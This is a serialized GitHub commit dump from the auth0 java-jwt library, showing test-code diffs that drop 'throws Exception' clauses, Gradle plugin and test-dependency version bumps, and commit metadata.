+    public void shouldReturnBaseClaimWhenParsingNullNode() {
         JsonNode value = NullNode.getInstance();
         Claim claim = claimFromNode(value);
 
@@ -343,7 +343,7 @@ public void shouldReturnBaseClaimWhenParsingNullNode() throws Exception {
     }
 
     @Test
-    public void shouldReturnBaseClaimWhenParsingNullValue() throws Exception {
+    public void shouldReturnBaseClaimWhenParsingNullValue() {
         JsonNode value = mapper.valueToTree(null);
         Claim claim = claimFromNode(value);
 
@@ -353,7 +353,7 @@ public void shouldReturnBaseClaimWhenParsingNullValue() throws Exception {
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingObject() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingObject() {
         JsonNode value = mapper.valueToTree(new Object());
         Claim claim = claimFromNode(value);
 
@@ -363,7 +363,7 @@ public void shouldReturnNonNullClaimWhenParsingObject() throws Exception {
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingArray() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingArray() {
         JsonNode value = mapper.valueToTree(new String[]{});
         Claim claim = claimFromNode(value);
 
@@ -373,7 +373,7 @@ public void shouldReturnNonNullClaimWhenParsingArray() throws Exception {
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingList() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingList() {
         JsonNode value = mapper.valueToTree(new ArrayList<String>());
         Claim claim = claimFromNode(value);
 
@@ -383,7 +383,7 @@ public void shouldReturnNonNullClaimWhenParsingList() throws Exception {
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingStringValue() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingStringValue() {
         JsonNode value = mapper.valueToTree("");
         Claim claim = claimFromNode(value);
 
@@ -393,7 +393,7 @@ public void shouldReturnNonNullClaimWhenParsingStringValue() throws Exception {
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingIntValue() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingIntValue() {
         JsonNode value = mapper.valueToTree(Integer.MAX_VALUE);
         Claim claim = claimFromNode(value);
 
@@ -403,7 +403,7 @@ public void shouldReturnNonNullClaimWhenParsingIntValue() throws Exception {
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingDoubleValue() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingDoubleValue() {
         JsonNode value = mapper.valueToTree(Double.MAX_VALUE);
         Claim claim = claimFromNode(value);
 
@@ -413,7 +413,7 @@ public void shouldReturnNonNullClaimWhenParsingDoubleValue() throws Exception {
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingDateValue() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingDateValue() {
         JsonNode value = mapper.valueToTree(new Date());
         Claim claim = claimFromNode(value);
 
@@ -423,7 +423,7 @@ public void shouldReturnNonNullClaimWhenParsingDateValue() throws Exception {
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingBooleanValue() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingBooleanValue() {
         JsonNode value = mapper.valueToTree(Boolean.TRUE);
         Claim claim = claimFromNode(value);
 u}(jJ  (84f91c78eb287cabfe88ff937049ff47923a1cacj  7lib/src/test/java/com/auth0/jwt/impl/NullClaimTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  X  @@ -11,62 +11,62 @@ public class NullClaimTest {
     private NullClaim claim;
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         claim = new NullClaim();
     }
 
     @Test
-    public void shouldBeNull() throws Exception {
+    public void shouldBeNull() {
         assertThat(claim.isNull(), is(true));
     }
 
     @Test
-    public void shouldGetAsBoolean() throws Exception {
+    public void shouldGetAsBoolean() {
         assertThat(claim.asBoolean(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsInt() throws Exception {
+    public void shouldGetAsInt() {
         assertThat(claim.asInt(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsLong() throws Exception {
+    public void shouldGetAsLong() {
         assertThat(claim.asLong(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsDouble() throws Exception {
+    public void shouldGetAsDouble() {
         assertThat(claim.asDouble(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsString() throws Exception {
+    public void shouldGetAsString() {
         assertThat(claim.asString(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsDate() throws Exception {
+    public void shouldGetAsDate() {
         assertThat(claim.asDate(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsArray() throws Exception {
+    public void shouldGetAsArray() {
         assertThat(claim.asArray(Object.class), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsList() throws Exception {
+    public void shouldGetAsList() {
         assertThat(claim.asList(Object.class), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsMap() throws Exception {
+    public void shouldGetAsMap() {
         assertThat(claim.asMap(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsCustomClass() throws Exception {
+    public void shouldGetAsCustomClass() {
         assertThat(claim.as(Object.class), is(nullValue()));
     }
 u}(jJ  (16a7198dbf17ad18347f20fe5c1354b40f46a666j  Alib/src/test/java/com/auth0/jwt/impl/PayloadDeserializerTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  X  @@ -35,7 +35,7 @@ public class PayloadDeserializerTest {
     private PayloadDeserializer deserializer;
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         deserializer = new PayloadDeserializer(new ObjectMapper().reader());
     }
 
@@ -109,7 +109,7 @@ public void shouldNotRemoveKnownPublicClaimsFromTree() throws Exception {
     }
 
     @Test
-    public void shouldGetStringArrayWhenParsingArrayNode() throws Exception {
+    public void shouldGetStringArrayWhenParsingArrayNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         List<JsonNode> subNodes = new ArrayList<>();
         TextNode textNode1 = new TextNode("one");
@@ -126,7 +126,7 @@ public void shouldGetStringArrayWhenParsingArrayNode() throws Exception {
     }
 
     @Test
-    public void shouldGetStringArrayWhenParsingTextNode() throws Exception {
+    public void shouldGetStringArrayWhenParsingTextNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         TextNode textNode = new TextNode("something");
         tree.put("key", textNode);
@@ -138,7 +138,7 @@ public void shouldGetStringArrayWhenParsingTextNode() throws Exception {
     }
 
     @Test
-    public void shouldGetEmptyStringArrayWhenParsingEmptyTextNode() throws Exception {
+    public void shouldGetEmptyStringArrayWhenParsingEmptyTextNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         TextNode textNode = new TextNode("");
         tree.put("key", textNode);
@@ -149,7 +149,7 @@ public void shouldGetEmptyStringArrayWhenParsingEmptyTextNode() throws Exception
     }
 
     @Test
-    public void shouldGetNullArrayWhenParsingNullNode() throws Exception {
+    public void shouldGetNullArrayWhenParsingNullNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         NullNode node = NullNode.getInstance();
         tree.put("key", node);
@@ -159,7 +159,7 @@ public void shouldGetNullArrayWhenParsingNullNode() throws Exception {
     }
 
     @Test
-    public void shouldGetNullArrayWhenParsingNullNodeValue() throws Exception {
+    public void shouldGetNullArrayWhenParsingNullNodeValue() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("key", null);
 
@@ -168,7 +168,7 @@ public void shouldGetNullArrayWhenParsingNullNodeValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullArrayWhenParsingNonArrayOrTextNode() throws Exception {
+    public void shouldGetNullArrayWhenParsingNonArrayOrTextNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         IntNode node = new IntNode(456789);
         tree.put("key", node);
@@ -179,7 +179,7 @@ public void shouldGetNullArrayWhenParsingNonArrayOrTextNode() throws Exception {
 
 
     @Test
-    public void shouldGetNullDateWhenParsingNullNode() throws Exception {
+    public void shouldGetNullDateWhenParsingNullNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         NullNode node = NullNode.getInstance();
         tree.put("key", node);
@@ -189,7 +189,7 @@ public void shouldGetNullDateWhenParsingNullNode() throws Exception {
     }
 
     @Test
-    public void shouldGetNullDateWhenParsingNull() throws Exception {
+    public void shouldGetNullDateWhenParsingNull() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("key", null);
 
@@ -198,7 +198,7 @@ public void shouldGetNullDateWhenParsingNull() throws Exception {
     }
 
     @Test
-    public void shouldThrowWhenParsingNonNumericNode() throws Exception {
+    public void shouldThrowWhenParsingNonNumericNode() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The claim 'key' contained a non-numeric date value.");
 
@@ -210,7 +210,7 @@ public void shouldThrowWhenParsingNonNumericNode() throws Exception {
     }
 
     @Test
-    public void shouldGetDateWhenParsingNumericNode() throws Exception {
+    public void shouldGetDateWhenParsingNumericNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         long seconds = 1478627949 / 1000;
         LongNode node = new LongNode(seconds);
@@ -222,7 +222,7 @@ public void shouldGetDateWhenParsingNumericNode() throws Exception {
     }
 
     @Test
-    public void shouldGetLargeDateWhenParsingNumericNode() throws Exception {
+    public void shouldGetLargeDateWhenParsingNumericNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         long seconds = Integer.MAX_VALUE + 10000L;
         LongNode node = new LongNode(seconds);
@@ -235,7 +235,7 @@ public void shouldGetLargeDateWhenParsingNumericNode() throws Exception {
     }
 
     @Test
-    public void shouldGetNullStringWhenParsingNullNode() throws Exception {
+    public void shouldGetNullStringWhenParsingNullNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         NullNode node = NullNode.getInstance();
         tree.put("key", node);
@@ -245,7 +245,7 @@ public void shouldGetNullStringWhenParsingNullNode() throws Exception {
     }
 
     @Test
-    public void shouldGetNullStringWhenParsingNull() throws Exception {
+    public void shouldGetNullStringWhenParsingNull() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("key", null);
 
@@ -254,7 +254,7 @@ public void shouldGetNullStringWhenParsingNull() throws Exception {
     }
 
     @Test
-    public void shouldGetStringWhenParsingTextNode() throws Exception {
+    public void shouldGetStringWhenParsingTextNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         TextNode node = new TextNode("something here");
         tree.put("key", node);u#      }(jJ  (3cf6e0238e85949f53c082421ceb329c81b7b536j  9lib/src/test/java/com/auth0/jwt/impl/PayloadImplTest.javaj  modifiedj  Kj  Kj  K*j  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  Xh  @@ -33,7 +33,7 @@ public class PayloadImplTest {
     private ObjectReader objectReader;
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         mapper = getDefaultObjectMapper();
         objectReader = mapper.reader();
 
@@ -47,129 +47,129 @@ public void setUp() throws Exception {
 
     @SuppressWarnings("Convert2Diamond")
     @Test
-    public void shouldHaveUnmodifiableTree() throws Exception {
+    public void shouldHaveUnmodifiableTree() {
         exception.expect(UnsupportedOperationException.class);
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, new HashMap<String, JsonNode>(), objectReader);
         payload.getTree().put("something", null);
     }
 
     @Test
-    public void shouldHaveUnmodifiableAudience() throws Exception {
+    public void shouldHaveUnmodifiableAudience() {
         exception.expect(UnsupportedOperationException.class);
         PayloadImpl payload = new PayloadImpl(null, null, new ArrayList<String>(), null, null, null, null, null, objectReader);
         payload.getAudience().add("something");
     }
 
     @Test
-    public void shouldGetIssuer() throws Exception {
+    public void shouldGetIssuer() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuer(), is("issuer"));
     }
 
     @Test
-    public void shouldGetNullIssuerIfMissing() throws Exception {
+    public void shouldGetNullIssuerIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuer(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetSubject() throws Exception {
+    public void shouldGetSubject() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getSubject(), is("subject"));
     }
 
     @Test
-    public void shouldGetNullSubjectIfMissing() throws Exception {
+    public void shouldGetNullSubjectIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getSubject(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAudience() throws Exception {
+    public void shouldGetAudience() {
         assertThat(payload, is(notNullValue()));
 
         assertThat(payload.getAudience(), is(IsCollectionWithSize.hasSize(1)));
         assertThat(payload.getAudience(), is(IsCollectionContaining.hasItems("audience")));
     }
 
     @Test
-    public void shouldGetNullAudienceIfMissing() throws Exception {
+    public void shouldGetNullAudienceIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getAudience(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetExpiresAt() throws Exception {
+    public void shouldGetExpiresAt() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getExpiresAt(), is(expiresAt));
     }
 
     @Test
-    public void shouldGetNullExpiresAtIfMissing() throws Exception {
+    public void shouldGetNullExpiresAtIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getExpiresAt(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetNotBefore() throws Exception {
+    public void shouldGetNotBefore() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getNotBefore(), is(notBefore));
     }
 
     @Test
-    public void shouldGetNullNotBeforeIfMissing() throws Exception {
+    public void shouldGetNullNotBeforeIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getNotBefore(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetIssuedAt() throws Exception {
+    public void shouldGetIssuedAt() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuedAt(), is(issuedAt));
     }
 
     @Test
-    public void shouldGetNullIssuedAtIfMissing() throws Exception {
+    public void shouldGetNullIssuedAtIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuedAt(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetJWTId() throws Exception {
+    public void shouldGetJWTId() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getId(), is("jwtId"));
     }
 
     @Test
-    public void shouldGetNullJWTIdIfMissing() throws Exception {
+    public void shouldGetNullJWTIdIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getId(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetExtraClaim() throws Exception {
+    public void shouldGetExtraClaim() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getClaim("extraClaim"), is(instanceOf(JsonNodeClaim.class)));
         assertThat(payload.getClaim("extraClaim").asString(), is("extraValue"));
     }
 
     @Test
-    public void shouldGetNotNullExtraClaimIfMissing() throws Exception {
+    public void shouldGetNotNullExtraClaimIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getClaim("missing"), is(notNullValue()));
         assertThat(payload.getClaim("missing"), is(instanceOf(NullClaim.class)));
     }
 
     @Test
-    public void shouldGetClaims() throws Exception {
+    public void shouldGetClaims() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("extraClaim", new TextNode("extraValue"));
         tree.put("sub", new TextNode("auth0"));
@@ -183,7 +183,7 @@ public void shouldGetClaims() throws Exception {
     }
 
     @Test
-    public void shouldNotAllowToModifyClaimsMap() throws Exception {
+    public void shouldNotAllowToModifyClaimsMap() {
         assertThat(payload, is(notNullValue()));
         Map<String, Claim> claims = payload.getClaims();
         assertThat(claims, is(notNullValue()));ueu(90102e58a8ca6371e187860aa68b3ad5e53a214d}(sha(90102e58a8ca6371e187860aa68b3ad5e53a214dnode_idEC_kwDOAQtL0doAKDkwMTAyZTU4YThjYTYzNzFlMTg3ODYwYWE2OGIzYWQ1ZTUzYTIxNGQcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-15T03:01:31Zu	committer}(j_  Jim Andersonja  jimranderson@gmail.comjc  2022-10-15T03:01:31Zumessageupdate oss plugin versiontree}(jW  (98c9f4d9deca90901b9186347b3f4abdff915ff2url^https://api.github.com/repos/auth0/java-jwt/git/trees/98c9f4d9deca90901b9186347b3f4abdff915ff2ujo  `https://api.github.com/repos/auth0/java-jwt/git/commits/90102e58a8ca6371e187860aa68b3ad5e53a214d
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujo  \https://api.github.com/repos/auth0/java-jwt/commits/90102e58a8ca6371e187860aa68b3ad5e53a214dhtml_urlQhttps://github.com/auth0/java-jwt/commit/90102e58a8ca6371e187860aa68b3ad5e53a214dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/90102e58a8ca6371e187860aa68b3ad5e53a214d/commentsj]  }(login
jimmyjamesidJ7 jY  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jo  'https://api.github.com/users/jimmyjamesj{  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuje  }(j  
jimmyjamesj  J7 jY  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3jo  'https://api.github.com/users/jimmyjamesj{  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(jW  (14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1ajo  \https://api.github.com/repos/auth0/java-jwt/commits/14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1aj{  Qhttps://github.com/auth0/java-jwt/commit/14a16be52a6cfb5c8f08f6bc1254d8943cb1dc1auastats}(totalK	additionsK	deletionsKufiles]}(jW  (a4cda2d7db0cc2eb8d4d8d3bf9b39f8891093cc1filenamesettings.gradlestatusmodifiedj  Kj  KchangesKblob_url_https://github.com/auth0/java-jwt/blob/90102e58a8ca6371e187860aa68b3ad5e53a214d/settings.gradleraw_url^https://github.com/auth0/java-jwt/raw/90102e58a8ca6371e187860aa68b3ad5e53a214d/settings.gradlecontents_urlqhttps://api.github.com/repos/auth0/java-jwt/contents/settings.gradle?ref=90102e58a8ca6371e187860aa68b3ad5e53a214dpatch@@ -3,7 +3,7 @@ pluginManagement {
         gradlePluginPortal()
     }
     plugins {
-        id 'com.auth0.gradle.oss-library.java' version '0.16.0'
+        id 'com.auth0.gradle.oss-library.java' version '0.17.2'
     }
 }
 uau(fef3ccf0e03b4557faa110432466c631c0cc3fff}(sha(fef3ccf0e03b4557faa110432466c631c0cc3fffnode_idEC_kwDOAQtL0doAKGZlZjNjY2YwZTAzYjQ1NTdmYWExMTA0MzI0NjZjNjMxYzBjYzNmZmYcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-03-11T15:41:55Zu	committer}(jԸ  GitHubjָ  noreply@github.comjظ  2022-03-11T15:41:55ZumessageUpdate test dependencies (#539)tree}(j̸  (931ce5b5ff77bf9fe543664cfba16ba239f1ef4burl^https://api.github.com/repos/auth0/java-jwt/git/trees/931ce5b5ff77bf9fe543664cfba16ba239f1ef4buj  `https://api.github.com/repos/auth0/java-jwt/git/commits/fef3ccf0e03b4557faa110432466c631c0cc3fff
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiK23DCRBK7hj4Ov3rIwAAu38IAESe5kLiPTDdoMeYLW8Tibwv
05lh1XjrebQ3Cn1jeScHcrBZZJF+LZFJIASVaLQXaY9IhPIf4ZlcYMjOaNp2eY7h
DbonHWOX8fQQJojNeFiur/URYBHJOREAwI0tt7cZynPq+t8qS9MY6Pke7M3t7kOU
H/jboMxurQ1MNN55Cuj0HexXIoMviKLp0ZUP6f+BhUU+Uu84xA2+YrpyCImIIVJh
L+/iZ8W8empQbL3WPbrKpzYBfB2zWYrmSWqKjEK2k3gtFGSVAnLsxVfk94sCJVcn
3gks7fa86R3+lnCoVhRsLiJJR6+SH7USi3CnwqB++mXpoV7nufkb1GCXtU9yyJ4=
=AQBh
-----END PGP SIGNATURE-----
payloadtree 931ce5b5ff77bf9fe543664cfba16ba239f1ef4b
parent 90cea2d99680b985130f702ccb830bb322458171
author Jim Anderson <jim.anderson@auth0.com> 1647013315 -0600
committer GitHub <noreply@github.com> 1647013315 -0600

Update test dependencies (#539)

uuj  \https://api.github.com/repos/auth0/java-jwt/commits/fef3ccf0e03b4557faa110432466c631c0cc3fffhtml_urlQhttps://github.com/auth0/java-jwt/commit/fef3ccf0e03b4557faa110432466c631c0cc3fffcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/fef3ccf0e03b4557faa110432466c631c0cc3fff/commentsjҸ  }(login
jimmyjamesidJ7 jθ  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujڸ  }(j  web-flowj  J/jθ  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj   /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj
  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(j̸  (90cea2d99680b985130f702ccb830bb322458171j  \https://api.github.com/repos/auth0/java-jwt/commits/90cea2d99680b985130f702ccb830bb322458171j  Qhttps://github.com/auth0/java-jwt/commit/90cea2d99680b985130f702ccb830bb322458171uastats}(totalK%	additionsK	deletionsKufiles](}(j̸  (9dcf7e40d35f0caa26d616486f6967ee3564b6e8filenamelib/build.gradlestatusmodifiedj.  Kj/  KchangesK
blob_urlbhttps://github.com/auth0/java-jwt/blob/fef3ccf0e03b4557faa110432466c631c0cc3fff/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/fef3ccf0e03b4557faa110432466c631c0cc3fff/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=fef3ccf0e03b4557faa110432466c631c0cc3fffpatchX  @@ -48,11 +48,12 @@ javadoc {
 
 dependencies {
     implementation 'com.fasterxml.jackson.core:jackson-databind:2.12.6'
-    testImplementation 'org.bouncycastle:bcprov-jdk15on:1.60'
-    testImplementation 'junit:junit:4.12'
-    testImplementation 'net.jodah:concurrentunit:0.4.3'
-    testImplementation 'org.hamcrest:java-hamcrest:2.0.0.0'
-    testImplementation 'org.mockito:mockito-core:2.18.3'
+
+    testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
+    testImplementation 'junit:junit:4.13.2'
+    testImplementation 'net.jodah:concurrentunit:0.4.6'
+    testImplementation 'org.hamcrest:hamcrest:2.2'
+    testImplementation 'org.mockito:mockito-core:4.4.0'
 }
 
 jacoco {
@@ -92,7 +93,7 @@ task compileModuleInfoJava(type: JavaCompile) {
 }
 
 compileTestJava {
-    options.compilerArgs = ['--release', "8"]
+    options.compilerArgs = ['--release', "8", "-Xlint:deprecation"]
 }
 
 def testJava8 = tasks.register('testJava8', Test) {u}(j̸  (626bc6fd854c9189094fa6f1f98aa025cf08f938j4  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javaj6  modifiedj.  Kj/  Kj8  Kj9  https://github.com/auth0/java-jwt/blob/fef3ccf0e03b4557faa110432466c631c0cc3fff/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj;  https://github.com/auth0/java-jwt/raw/fef3ccf0e03b4557faa110432466c631c0cc3fff/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj=  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=fef3ccf0e03b4557faa110432466c631c0cc3fffj?  X  @@ -5,7 +5,7 @@
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import org.hamcrest.collection.IsCollectionWithSize;
-import org.hamcrest.core.IsCollectionContaining;
+import org.hamcrest.core.IsIterableContaining;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -142,15 +142,15 @@ public void shouldGetArrayAudience() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOlsiSG9wZSIsIlRyYXZpcyIsIlNvbG9tb24iXX0.Tm4W8WnfPjlmHSmKFakdij0on2rWPETpoM7Sh0u6-S4");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(3)));
-        assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Hope", "Travis", "Solomon")));
+        assertThat(jwt.getAudience(), is(IsIterableContaining.hasItems("Hope", "Travis", "Solomon")));
     }
 
     @Test
     public void shouldGetStringAudience() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJKYWNrIFJleWVzIn0.a4I9BBhPt1OB1GW67g2P1bEHgi6zgOjGUL4LvhE9Dgc");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(1)));
-        assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Jack Reyes")));
+        assertThat(jwt.getAudience(), is(IsIterableContaining.hasItems("Jack Reyes")));
     }
 
